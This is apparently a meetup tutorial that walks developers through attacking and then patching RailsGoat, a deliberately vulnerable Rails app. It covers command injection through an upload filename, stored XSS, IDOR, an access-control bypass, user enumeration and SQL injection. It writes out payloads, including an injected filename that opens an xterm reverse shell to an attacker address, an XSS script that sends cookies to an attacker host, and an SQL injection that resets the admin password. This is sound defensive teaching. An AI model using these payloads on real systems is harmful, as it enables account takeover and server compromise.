This is the tutorial for the talk I gave on Web Application Vulnerabilities at the RubiABQ meetup on March 8th, 2017.
Legal
The below is not intended to provide details on how to compromise other people’s web sites and applications. The purpose is to inform developers on how to protect themselves from malicious users and attackers. The tools and methods listed should only be used on sites and applications which you directly own or have permission in writing to work on.
Performing these methods on other people’s sites or applications would be considered a crime and could land you with a criminal record or worse.
TL;DR: Don’t use any of these techniques on machines or web sites that are not yours. You will get in trouble, bad things will happen.
Getting Started
Let’s download a couple of tools we’ll need:
- Docker,
- Docker Compose,
- Firefox,
- Burp Suite
- You can also choose ZAP if you prefer
- Foxy Proxy
cd <railsgoat location>
Install and configure the environment like so:
docker-compose build && docker-compose run web rake db:setup && docker-compose up
If this isn’t your first time running the container, a simple docker-compose up
will do.
If you get this horribly irritating message: railsgoat_web_1 exited with code 1
you will need to rm the server pid like this:
rm <railsgoat location>/tmp/pids/server.pid
Once you’ve done this, try again with docker-compose up
At this point, the container should be up, so go ahead and click Signup and create an account.
Before we get started, let’s open up another tab and get a server side perspective for educational purposes:
cd <railsgoat location> && docker exec -it railsgoat_web_1 /bin/bash
Also, let’s install a couple of tools on the target. Installing vim will make it easier to dig through code, sqlite3 will allow us to check out the database, and xterm will be used for one of our exercises:
apt-get install -y xterm vim sqlite3
To get started with Burp, go ahead and start by configuring Foxy Proxy:
- Click the FoxyProxy logo
- Click Add New Proxy
- Specify 127.0.0.1 for the Host or IP Address
- Specify 8080 for the Port
- Click Save
- Specify Burp as the Proxy by right clicking the fox icon and specifying the entry you just did for Burp
Get Burp Suite running as well by double clicking the icon. You should be ready to go at this point.
Command Injection via File Upload
Let’s start with the good stuff. In this exercise, we are going to attempt to get a shell on the box. Start off by clicking Benefit Forms on the menu on the left.
Next, click Browse and select a file to upload - any file.
We’ll need to modify the request, so go ahead and click Burp. Go to proxy and make sure Intercept is on and click Start Upload.
Right click the request and click Send to Repeater, so it’ll be easy to mess with later. Alternatively, you can do the cmd+r keyboard shortcut if you’re on a mac.
Change this part of the request from false
Content-Disposition: form-data; name="benefits[backup]"
false
to true:
Content-Disposition: form-data; name="benefits[backup]"
true
Change the filename parameter as well:
Content-Disposition: form-data; name="benefits[upload]"; filename="fileIChose"
to reflect the command you want to execute on the server:
filename="fileIChose;mkdir testing123"
Check your sessions you have with the web server - you should see a folder called testing123.
Fantastic. Let’s get a reverse shell next using an xterm session.
Start listener on attacker:
Xnest :1
Kick off the connection from the web server:
filename="fileIChose;xterm -display <evil ip address>:1"
Great, we’ve established that we can use this vulnerability to take over the web server. Next, lets look at the vulnerable code and figure out how to fix that nasty issue.
We can find the vulnerable code at the following location on the
web server: app/controllers/benefit_forms_controller.rb
Specifically, we want to look at line 22 and observe this snippet:
Benefits.save(file, params[:benefits][:backup])
Looks like a problem we need to solve in the model. Let’s get into app/models/benefits.rb
Observe that in self.save we’re calling the make_backup method. In make_backup, we can see that we’re using the system command.
The vulnerability is introduced because the the user-supplied input is interpolated by the system command. To fix it, we’re going to use the fileutils library.
Modify your make_backup method so that it goes from looking like this:
def self.make_backup(file, data_path, full_file_name)
if File.exists?(full_file_name)
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}")
}
end
end
to this:
def self.make_backup(file, data_path, full_file_name)
if File.exists?(full_file_name)
FileUtils.cp "#{full_file_name}", "#{data_path}data_path/bak#{Time.zone.now.to_i}_#{file.original_filename}"
end
end
Try your attack again using the request we intercepted in repeater, and observe that you can no longer get a shell, nor can you create folders.
Persistent Cross-site Scripting (XSS)
Start off by registering a user. Put this in for the first name:
<script>alert('xss')</script>
You can put in whatever you want for the last name, email and password.
Hey, a neat box popped up! Why do we care? What does this mean?
Let’s take a quick detour and login as admin. At this point, the
username should be admin@metacorp.com
and the password should be admin1234
.
Once you’ve logged in, intercept a request by clicking something, or
reload the page. Once you’ve done this, copy the _railsgoat_session
.
Next, login with a normal user. Click something and intercept the request.
Now paste in the value we copied in for whatever _railsgoat_session
is
currently set to. See how we have a new Admin item on the menu?
That’s not so great, is it?
Alright, so let’s see that actual vulnerability in play.
Start by creating a user with this for first name:
<script>document.location="http://<attacker ip>:8000/" + document.cookie </script>
Where the attacker ip is your machine’s IP. Also, go ahead and start up a web server on your box as well:
python -m SimpleHTTPServer
You could also use XAMPP, NGINX, or whatever you want.
Great. Now we’ll go ahead and login to the system. Observe on your web server that we now have the cookie of the user, and could use that to masquerade as that user without knowing their password.
We should probably clean up that vulnerable user real quick. On the development shell:
sqlite3 db/development.sqlite3
select * from users;
Find the user ID of the user with the malicious Javascript.
DELETE FROM users WHERE id=<id associated with evil js>;
Where’s the bug and how do we fix it?
Open this file:app/views/layouts/shared/_header.html.erb
On line 31, observe the html_safe method. We need to remove this. This method is actually counter intuitive (in my opinion at least) as far as it’s naming scheme goes. The html_safe method does not HTML-escape your string. In fact, it will prevent your string from being escaped.
By taking in the string as raw input, the string gets escaped and is not interpreted, thus thwarting our injected javascript.
Create a user with script tags to show that it’s fixed.
Indirect Object Reference (IDOR)
Start by clicking WORK INFO on the menu. Change the user id to 1 and observe the error message that pops up. It should be something like this:
Sorry, no user with that user id exists
Interesting. Let’s see if there are any other accounts we can access by changing the user id to 2, 3, 4, etc. in the URI.
So where is the bug? Let’s check out the work_info_controller:
app/controllers/work_info_controller.rb
Notice that instead of using the current user object, which takes the user
ID from the user’s session, that the user ID is pulled from the request
parameter: User.find_by_user_id(params[:user_id])
To fix this, reference the current_user object. It’s also a good idea to make a more generic error message that doesn’t give away the fact that the IDOR exists:
def index
@user = current_user
if !(@user) || @user.admin
flash[:error] = "Apologies, looks like something went wrong"
redirect_to home_dashboard_index_path
end
end
Missing Function Level Access Control
Login or create a new account and go to http://127.0.0.1:3000/admin/1/dashboard
before_filters() in rails are used to restrict access to content based on a user’s
role.
These filters can be bypassed if certain conditions are met. In this case, the
before_filter
is skipped if the admin_id param is 1.
This can and will be abused by a malicious entity.
To resolve this issue, we’ll need the conditional in the code to enforce the filter on all access requests to the admin dashboard like so:
Open this file: /myapp/app/controllers/admin_controller.rb
Change line 2 from this:
before_action :administrative, :if => :admin_param, :except => [:get_user]
to this:
before_action :administrative, :except => [:get_user]
You can also delete the admin_param function at the bottom if you’d like, as it’s dead code at this point.
Credential Enumeration
Overly verbose error messages can indicate if a user does or does not exist to an attacker. This can help them to build up a list of valid users which they can then use to attempt to brute-force with password lists, or send phishing attacks to.
Go to the login form and type in a@aasdfa.com for user and some random value for the password. Observe the a@aasdfa.com doesn’t exist! error message
type in ken@metacorp.com and some random value for the password. Observe the
Incorrect Password!
error message
Before we fix this issue, let’s understand where the overly verbose error
messages are coming from. Take a look at /app/models/user.rb
and observe the error
messages.
Now let’s open /app/controllers/sessions_controller.rb
and observe
that on line 16 the exception message e
is created and that on line 26 the message
is displayed.
To fix this, we’ll need to replace this line:
flash[:error] = e.message
with this:
flash[:error] = "Either your username and password is incorrect"
While this doesn’t address the messages in the model, it does give us a quick and easy solution that can prevent abuse from nefarious entities.
For a comprehensive solution, you can change the messages in the model as well.
SQLi
From an authenticated account, click the orange square on the top right, and select Account settings from the dropdown.
Enter some password for the Password and Password confirmation fields, and hit Submit. We are going to inject some SQL syntax into the request we’ve just intercepted (hope you had intercept set to on in Burp) that will return the first result of a query that looks for users that have the admin attribute set to true.
So essentially, instead of looking up the user whose data we will change that has their user ID associated with the current user we’re on, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com’s password to nicepass.
This is an idea of what what your request may look like at the time of interception:
utf8=%E2%9C%93&_method=patch&authenticity_token=8Tekz3vx8ygeVDxgZiaG6lMlHTwSaspWcCJlSMZ8IpQednYKhCHTV72AFEowoO1b7tDsmVK97dcYyZtyGey55Q%3D%3D&user%5Buser_id%5D=7&user%5Bemail%5D=b%40b.com&user%5Bfirst_name%5D=bob&user%5Blast_name%5D=test&user%5Bpassword%5D=nicepass&user%5Bpassword_confirmation%5D=nicepass
We are going to modify it. In particular we want to remove the email, first, and last name parameters as failure to omit them will result in a duplicate email address which will cause errors. It’s also worth noting from our perspective as an attacker, changing the first and last name of the admin would most likely alert them to what we’ve done. Lastly, we want to add in our malicious sql query. Here’s what it should (more or less) look like:
utf8=%E2%9C%93&_method=patch&authenticity_token=8Tekz3vx8ygeVDxgZiaG6lMlHTwSaspWcCJlSMZ8IpQednYKhCHTV72AFEowoO1b7tDsmVK97dcYyZtyGey55Q%3D%3D&user%5Buser_id%5D=6')
OR admin = 't' --'")&user%5Bpassword%5D=nicepass&user%5Bpassword_confirmation%5D=nicepass
Before we pass this request on to the web server, go ahead and send it to repeater.
Once we pass this request on, we will have updated admin@metacorp.com’s password to nicepass. Give it a try, see what happens.
Wow, that was pretty bad. Let’s patch that asap using parameterized queries!
Parameterized queries are used to separate the actual SQL Query from the dynamic and often untrusted data.
Open this file: app/controllers/users_controller.rb
Replace this:
user = User.where("user_id = '#{params[:user][:user_id]}'").first
with this:
user = User.where("user_id = ?", params[:user][:user_id]).first
Cliff Matthews also pointed out that we could do this as well:
user = User.find_by(user_id: params[:user][:user_id])
Remember how we sent that request to repeater? Let’s change the password to determine if our fix worked:
%5Bpassword%5D=admin1234&user%5Bpassword_confirmation%5D=admin1234
If our page were still vulnerable, the password for admin@metacorp.com would now be admin1234.
Please feel free to email me with any questions you have.